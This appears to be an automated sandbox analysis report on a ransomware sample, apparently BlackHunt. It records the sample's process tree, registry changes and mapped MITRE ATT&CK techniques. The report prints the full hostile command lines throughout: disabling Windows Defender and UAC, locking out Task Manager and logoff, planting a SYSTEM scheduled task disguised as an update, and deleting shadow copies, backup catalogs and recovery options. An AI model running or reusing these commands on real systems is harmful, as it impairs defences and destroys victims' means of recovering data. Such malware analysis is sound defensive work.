PID 3276 wrote to memory of 3804	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	156
PID 3276 wrote to memory of 3804	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	156
PID 3276 wrote to memory of 1440	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	155
PID 3276 wrote to memory of 1440	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	155
PID 3276 wrote to memory of 3500	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	147
PID 3276 wrote to memory of 3500	3276	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe	147

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe
"C:\Users\Admin\AppData\Local\Temp\1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3784
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    PID:4508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2436
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4688
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:1136
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:5068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:3764
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:4668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:4088
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:4648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:1616
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:4568
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:3528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:1832
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:3096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:4172
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2056
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2916
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:3872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1252
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4348
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1144
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:4928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:3612
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:3884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1712
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:4228
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:3032
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:3376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4156
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:4572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3500
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2492
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2660
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1440
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3804
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:4656
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:3084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe" /F
  2⤵
  - Modifies registry class
  PID:4508
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\1fe620bb1c95ac4dc554a72fa39e4ed7bf13fad42a8d1316803e4c07ddb2c5e3.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:468
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    - Suspicious use of WriteProcessMemory
    PID:3764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:3720
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3884
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:3364
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:3084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4800
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1432
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:3248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1616
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:984
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:5104
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4088
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1664
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2492

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:1060

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:796

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2284

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2480

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery